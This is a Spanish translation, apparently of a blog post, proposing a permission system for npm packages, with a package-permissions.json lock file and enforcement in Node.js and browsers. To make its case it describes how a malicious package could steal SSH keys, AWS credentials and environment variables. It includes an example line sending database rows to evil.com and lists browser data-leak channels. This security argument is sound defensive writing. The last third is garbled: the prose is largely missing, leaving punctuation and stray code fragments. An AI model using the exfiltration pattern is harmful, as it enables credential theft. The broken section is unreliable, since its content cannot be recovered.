Hace unos días, lancé la calculadora por primera vez en un teléfono nuevo y vi este mensaje: "La calculadora desea acceder a sus contactos".
Al principio, este mensaje me pareció un poco triste (parecía que la calculadora estaba sola), pero este caso me hizo pensar ...
¿Qué sucede si, como las aplicaciones telefónicas, los paquetes npm tendrían que declarar los permisos necesarios para su trabajo? Con este enfoque, el archivo del paquete
package.json
podría verse así:
{ "name": "fancy-logger", "version": "0.1.0", "permissions": { "browser": ["network"], "node": ["http", "fs"] }, "etcetera": "etcetera" }
En
npmjs.com, una sección de la página del paquete con información sobre los permisos que necesita podría verse así.
Dicha sección de permisos podría estar disponible para paquetes en el sitio de registro npm.Dichas listas de permisos para un paquete podrían ser una combinación de los permisos de todas sus dependencias con sus propios permisos.
Una mirada al contenido de la sección de
permissions
del paquete
fancy-logger
podría hacer que el desarrollador piense por qué el paquete que escribe algo en la consola necesita acceso al módulo
http
y esto parece algo sospechoso.
¿Cuál sería el mundo en el que se usaría un sistema de permisos similar para paquetes npm? Quizás alguien no vea el punto en esto, ya que se siente completamente seguro, por ejemplo, usando solo paquetes confiables de editores probados por el tiempo. Para que todos los que lean esto se sientan vulnerables, aquí hay una historia corta.
La historia de cómo robo tus variables de entorno
Quería crear un paquete npm llamado
space-invaders
. Fue interesante aprender cómo hacer juegos escribiendo un juego que funciona en la consola y, al mismo tiempo, corroborar mi punto de vista sobre las vulnerabilidades relacionadas con los paquetes npm.
Podrías ejecutar este juego con este comando:
npx space-invaders
. Después de su lanzamiento, uno podría comenzar a disparar inmediatamente a los alienígenas y matar el tiempo.
Te gustaría este juego, lo compartirías con amigos, a ellos también les gustaría.
Todo esto parece muy positivo, pero, entreteniéndote, los
space-invaders
del juego harán lo
space-invaders
, es decir, la recopilación de algunos datos. Recopilará información de
~/.ssh/
,
~/.aws/credentials
, de
~/.bash_profile
y otros lugares similares, lea el contenido de todos los archivos
.env
que pueda alcanzar, incluido
process.env
, mire a la configuración de git (para averiguar de quién es la información que recopila), y luego ella lo envía todo a mi servidor.
No he escrito un juego así, pero desde hace un tiempo me siento incómodo, y cuando ejecuto el comando
npm install
, pienso en lo vulnerable que es mi sistema. Ahora, mirando el indicador de progreso de la instalación, pienso en cuántas carpetas y archivos estándar en mi computadora portátil cuyo contenido no debe caer en las manos equivocadas.
Y no se trata solo de mi espacio de trabajo. Por ejemplo, ni siquiera sé si hay datos en algunas variables de entorno del sistema de ensamblaje de mi sitio para conectarme a la base de datos del servidor de producción. Si en algún lugar hay tales datos, puede imaginar una situación en la que un paquete npm malicioso instala un script en el sistema diseñado para conectarse a mi base de datos de trabajo. Luego, este script ejecuta el comando
SELECT * from users
, luego
http.get('http://evil.com/that-data')
. ¿Quizás fue precisamente debido a la posibilidad de tales ataques que me encontré con el consejo de que las contraseñas no deberían almacenarse en bases de datos en texto plano?
Todo esto parece bastante aterrador, y lo más probable es que ya esté sucediendo (aunque es imposible decir exactamente si esto está sucediendo o no).
Con esto, quizás, dejaremos de hablar sobre las consecuencias del robo de datos importantes. Volvamos al tema de los permisos para paquetes npm.
Cambios de permisos de bloqueo
Supongo que sería genial poder ver los permisos que necesita el paquete al ver el sitio npm. Pero debe tenerse en cuenta que la capacidad de ver los permisos es buena solo cuando se aplica a un punto específico en el tiempo, de hecho, esto no resuelve el problema real.
En un incidente reciente en npm, alguien primero publicó una versión de parche de un paquete con código malicioso, y luego publicó una versión menor de la que ya se había eliminado el código malicioso. El tiempo entre estos dos eventos fue suficiente para poner en peligro a muchos usuarios del paquete peligroso.
Este es el problema No paquetes creados por malware y que permanecen así todo el tiempo. El problema es que, en un paquete aparentemente confiable, puede agregar silenciosamente algo malo y, después de un tiempo, eliminarlo.
Como resultado, podemos decir que necesitamos un mecanismo para bloquear el conjunto de permisos recibidos por los paquetes.
Quizás sea algo así como un archivo
package-permissions.json
que establece permisos para Node.js y para el navegador y contiene una lista de paquetes que necesitan estos permisos. Con este enfoque, sería necesario enumerar todos los paquetes en dicho archivo, y no solo los que están en la sección de
dependencies
del archivo
package.json
del proyecto.
Así es como se vería el archivo
package-permissions.json
.
{ "node": { "http": [ "express", "stream-http" ], "fs": [ "fs-extra", "webpack", "node-sass" ] }, "browser": { "network": [ "whatwg-fetch", "new-relic" ] } }
Una versión real de dicho archivo podría contener muchas más entradas de paquete.
Ahora imagine que un día actualiza un paquete con doscientas dependencias que también se actualizarán. Se ha publicado una versión de parche para una de estas dependencias, que de repente necesitó acceso a
http
Node.js.
Si esto sucede, el comando
npm install
fallará con un mensaje similar al siguiente: “El paquete
add-two-number
que necesitaba el paquete
fancy-logger
solicitó acceso a
http
Node.js. Ejecute el
npm update-permissions add-two-numbers
para resolver esto, luego ejecute el comando
npm install
nuevamente ".
Aquí,
fancy-logger
es el paquete que está en su archivo
package.json
(suponiendo que esté familiarizado con este paquete), y el paquete
add-two-numbers
es una dependencia de
fancy-logger
la que nunca ha oído hablar.
Por supuesto, incluso si hay un archivo en el sistema para "bloquear" las dependencias, algunos desarrolladores confirmarán los nuevos permisos sin pensar en nada. Pero, como mínimo, un cambio en
package-permissions.json
será visible en la solicitud de extracción, es decir, habrá una posibilidad de que otro desarrollador más responsable preste atención a esto.
Además, los cambios a los permisos solicitados requerirían que el registro npm mismo notifique a los autores de paquetes cuando una situación cambia en algún lugar del árbol de dependencia de sus paquetes. Quizás, esto se hará por correo electrónico con los siguientes contenidos:
"Hola, autor de
fancy-logger
. Le informamos que
add-two-number
, el paquete cuyas capacidades utiliza, solicitó permiso para trabajar con el módulo
http
. Los permisos de su paquete, como se muestra en
npmjs.com/package/fancy-logger
, se han actualizado en consecuencia ".
Esto, por supuesto, se sumará al trabajo tanto de los autores de los paquetes como del propio npm, pero estas cosas serán dignas de pasar un poco de tiempo en ellas. En este caso, el autor de
add-two-numbers
puede estar absolutamente seguro de que si solicita permiso para trabajar con el módulo
http
, esto provocará la activación de muchas "alarmas" en todo el mundo.
Eso es lo que necesitamos. ¿Eh? Me gustaría esperar que, como en el caso de las aplicaciones telefónicas, e incluso en el caso de las extensiones para Chrome, los paquetes que requieren menos permisos sean más populares entre los usuarios que aquellos que necesitan un nivel inexplicablemente alto de acceso a los sistemas. Esto, a su vez, hará que los autores de paquetes piensen muy bien al elegir los permisos necesarios para su desarrollo.
Supongamos que npm decide introducir un sistema de permisos. El primer día de lanzamiento de dicho sistema, se considerará que todos los paquetes requieren permisos completos (tal decisión se tomará más adelante, en los casos en que falta la sección de
permissions
en
package.json
).
El autor del paquete, que quiere afirmar que su paquete no requiere permisos especiales, estará interesado en agregar la sección de
permissions
en
package.json
como un objeto vacío. Y, si los autores de los paquetes están lo suficientemente interesados como para que los permisos de dependencia no "sobrecarguen" sus paquetes, intentarán asegurarse de que estos paquetes de dependencia tampoco requieran permisos especiales, por ejemplo, haciendo solicitudes de extracción apropiadas en el repositorio de dependencias.
Además, cada autor del paquete se esforzará por reducir el riesgo de vulnerabilidad de su paquete al romper una de sus dependencias. Por lo tanto, si los autores de los paquetes usan dependencias que requieren permisos, que, al parecer, no son necesarios, tendrán un incentivo para cambiar a usar otros paquetes.
Y en el caso de los desarrolladores que usan npm-packages cuando crean aplicaciones, esto los obligará a prestar especial atención a los paquetes utilizados en sus proyectos, eligiendo principalmente aquellos que no requieren permisos especiales. Al mismo tiempo, por supuesto, algunos paquetes, por razones objetivas, requerirán permisos que pueden causar problemas, pero es probable que dichos paquetes estén bajo un control especial de los desarrolladores.
Quizás algo como
Greenkeeper pueda ayudar de alguna manera a resolver todos estos problemas.
Finalmente, el archivo
package-permissions.json
proporcionará un resumen fácil de entender para un profesional de seguridad que evalúa posibles "agujeros" en la aplicación y le permite hacer preguntas específicas sobre paquetes controvertidos y sus permisos.
Como resultado, espero que esta propiedad de
permissions
simple pueda extenderse ampliamente entre aproximadamente 800,000 paquetes npm y hacer que npm sea más seguro.
Por supuesto, esto no evitará posibles ataques. Así como los permisos solicitados por las aplicaciones móviles no hacen imposible crear aplicaciones móviles maliciosas distribuidas a través de sitios oficiales. Pero esto reducirá la "superficie de ataque" a paquetes que soliciten explícitamente permiso para realizar ciertas acciones que podrían representar una amenaza para los sistemas informáticos. Además, será interesante saber qué porcentaje de paquetes no necesita ningún permiso especial.
Así es como se ve el mecanismo para trabajar con permisos para paquetes npm que pensé. Si esta idea se hace realidad, podemos confiar en el hecho de que los atacantes describirán honestamente sus paquetes declarando permisos o combinando el sistema de declarar permisos con el mecanismo de restricción forzada de las capacidades de los paquetes de acuerdo con los permisos solicitados por ellos. Esta es una pregunta interesante. Echemos un vistazo como se aplica a Node.js y navegadores.
Forzar restricciones de paquetes de acuerdo con los permisos solicitados por ellos en Node.js
Aquí veo dos opciones posibles para aplicar tales restricciones.
▍ Opción 1: paquete npm especial que impone medidas de seguridad
Imagine un paquete creado y mantenido por npm (o alguna otra organización igualmente autoritaria y visionaria). Deje que este paquete se llame
@npm/permissions
.
Dicho paquete se incluiría en el código de la aplicación con el primer comando de importación, o las aplicaciones se iniciarían con un comando del formulario
node -r @npm/permissions index.js
.
Un paquete anularía otros comandos de importación para que no violaran los permisos establecidos en la sección de
permissions
de los archivos
package.json
de otros paquetes. Si el autor de un determinado paquete
lovely-logger
no declaró la necesidad de este paquete en el módulo
http
Node.js, esto significa que dicho módulo no puede acceder a dicho paquete.
Estrictamente hablando, bloquear módulos completos de Node.js de esta manera no es ideal. Por ejemplo, el paquete de
methods
npm carga el módulo
http
Node.js, pero no envía ningún dato al usarlo. Simplemente toma el objeto
http.METHODS
, convierte su nombre a
http.METHODS
y lo exporta como un paquete npm clásico. Ahora, este paquete parece un gran objetivo para un atacante: tiene 6 millones de descargas por semana, mientras que no ha cambiado en 3 años. Podría escribir a los autores de este paquete e invitarlos a que me den su repositorio.
Teniendo en cuenta el paquete de
methods
, sería mejor considerar que no requiere permiso de
network
, y no permiso que da acceso al módulo
http
. Luego, esta restricción se puede solucionar utilizando un mecanismo externo y neutralizar cualquier intento de este paquete para enviar ciertos datos de los sistemas en los que funciona.
El paquete imaginario
@npm/permissions
también podría restringir el acceso de un paquete a cualquier otro paquete que no figurara como sus dependencias. Esto evitará que el paquete, por ejemplo, importe algo como
fs-extra
y
request
, y use las capacidades de estos paquetes para leer datos del sistema de archivos y enviar datos leídos a un atacante.
Del mismo modo, puede ser útil distinguir entre acceso de disco "interno" y "externo". Estoy bastante contento de que el
node-sass
necesite acceso a materiales ubicados dentro del directorio de mi proyecto, pero no veo ninguna razón por la cual este paquete necesita acceso a algo fuera de este directorio.
Quizás, al comienzo de la introducción del sistema de permisos, el
@npm/permissions
deberá agregarse a los proyectos manualmente. Quizás, durante el período de transición, durante la eliminación de fallos de funcionamiento inevitables, este es el único enfoque razonable para utilizar dicho mecanismo. Pero para garantizar una seguridad real, es necesario que este paquete esté estrechamente integrado en el sistema, ya que será necesario tener en cuenta los permisos al ejecutar los scripts de instalación del paquete.
Entonces, lo más probable, resulta que un simple comando de la forma
"enforcePermissions": true
en el archivo
package.json
del proyecto le dirá a npm que ejecute cualquier script con el uso forzado de los permisos declarados por ellos.
▍ Opción 2: Modo seguro Node.js
El modo especial de operación de Node.js, enfocado en un mayor nivel de seguridad, obviamente, requerirá cambios más serios. Pero tal vez a la larga, la plataforma Node.js pueda imponer restricciones establecidas por los permisos declarados por cada paquete.
Por un lado, sé que aquellos que están desarrollando la plataforma Node.js se esfuerzan por resolver los problemas de esta plataforma, y mis ideas sobre la seguridad de los paquetes npm van más allá del alcance de sus intereses. Después de todo, al final, npm es solo la tecnología que acompaña a Node.js. Por otro lado, los desarrolladores de Node.js están interesados en hacer que los usuarios corporativos se sientan seguros al trabajar con esta plataforma, y la seguridad, presumiblemente, es uno de esos aspectos de Node.js que no se debe dar a la "comunidad".
Entonces, si bien todo lo que hablamos parecía bastante simple y se reducía al hecho de que el sistema de una forma u otra seguiría las capacidades utilizadas por los módulos durante la operación de Node.js.
Ahora hablemos de los navegadores. Todo aquí no parece tan claro y entendible en absoluto.
Restricción forzada de las capacidades de los paquetes de acuerdo con los permisos solicitados en los navegadores
A primera vista, la restricción forzada de las capacidades de los paquetes en los navegadores parece aún más simple, ya que el código que se ejecuta en el navegador no puede hacer mucho, especialmente con respecto al sistema operativo en el que se ejecuta el navegador. De hecho, en el caso de los navegadores, solo debe preocuparse por la capacidad de los paquetes para transferir datos a direcciones inusuales.
El problema aquí es que hay innumerables formas de enviar datos desde el navegador del usuario al servidor del atacante.
Esto se llama exfiltración o fuga de datos, y si le pregunta a un profesional de seguridad cómo evitar esto, él, con la mirada de la persona que inventó la pólvora, le dirá que deje de usar npm.
Creo que para los paquetes que se ejecutan en los navegadores, debe prestar atención a una sola resolución: la que es responsable de la capacidad de trabajar con la red. Llamémoslo
network
. Puede haber otros permisos en este entorno (como los que regulan el acceso al DOM o al almacenamiento local), pero aquí procedo suponiendo que nuestra principal preocupación es la posibilidad de fuga de datos.
Los datos del navegador se pueden "eliminar" de muchas maneras. Estos son los que recuerdo en 60 segundos:
fetch
API.- Tomas web
- Tecnología WebRTC.
- Constructor de
EventSource
. - API
XMLHttpRequest
- Establecer la propiedad
innerHTML
de varios elementos (puede crear nuevos elementos). - Crear un objeto de imagen con el
new Image()
comando new Image()
(la propiedad src
de una imagen puede servir como medio para filtrar datos). - Configurar
document.location
, window.location
, etc. - Cambiar las propiedades
src
de una imagen existente, iframe
o algo así. - Cambios en la propiedad de
target
del elemento <form>
. - Usando una cadena inteligentemente diseñada para acceder a cualquiera de los mecanismos anteriores o para acceder a algo en la
top
o self
lugar de windows
.
Cabe señalar que una buena Política de seguridad de contenido (CSP) puede neutralizar algunas de estas amenazas, pero esto no se aplica a todas ellas. Si alguien puede corregirme, estaré feliz, pero creo que nunca puede confiar en el hecho de que CSP lo protegerá completamente de la fuga de datos. Una persona me dijo una vez que CSP proporciona protección casi completa contra una gran cantidad de amenazas. A esto respondí que no puedes estar un poco embarazada, y desde entonces no nos hemos comunicado con esta persona.
Si se acerca sabiamente a la búsqueda de formas de robar datos del navegador, estoy seguro de que es bastante realista hacer una lista bastante completa de estos métodos.
Ahora necesitamos encontrar un mecanismo para prohibir el acceso al uso de oportunidades de dicha lista.
Webpack (,
@npm/permissions-webpack-plugin
), :
browser
package-permissions.json
, npm- ( - , ).- , , , API, .
(, Parcel, Rollup, Browserify ).
, , -. , , , , , .
, ( Lodash, Moment, ), . .
.
function bigFrameworkWrapper(newWindow) {
function smallUtilWrapper(newWindow) {
— , . «» .
const newScript = document.createElement('script'); // !
, —
script
.
const bigFramework = bigFrameworkWrapper(window);
const smallUtil = smallUtilWrapper(restrictedWindow);
«» . , , .
const restrictedWindow = new Proxy(window, {
window
, ,
window
, ,
window.document.createElement
DOM .
Proxy
.
. , .
, , API, . , , , , , , , , , , «» .
, , , - .
, , , ,
Proxy
. , 90% , . , , . , - , , , .
, , , , , Node.js .
, , HTTP , , , -. Esto es entendible.
-, , , .
iframe
, .
sandbox
, , . , , , -.
, ,
sandbox
<script>
. :
<script src="/some-package.js" sandbox="allow-exfiltration allow-whatevs"><script>
. , , , -
create-react-app
, 1.4 , .
, npm , .
, - .
, , - « ...», , , ?
Resumen
, , , , . , 90% , , , 10% — , .
, , - .
Estimados lectores! , , npm, -?
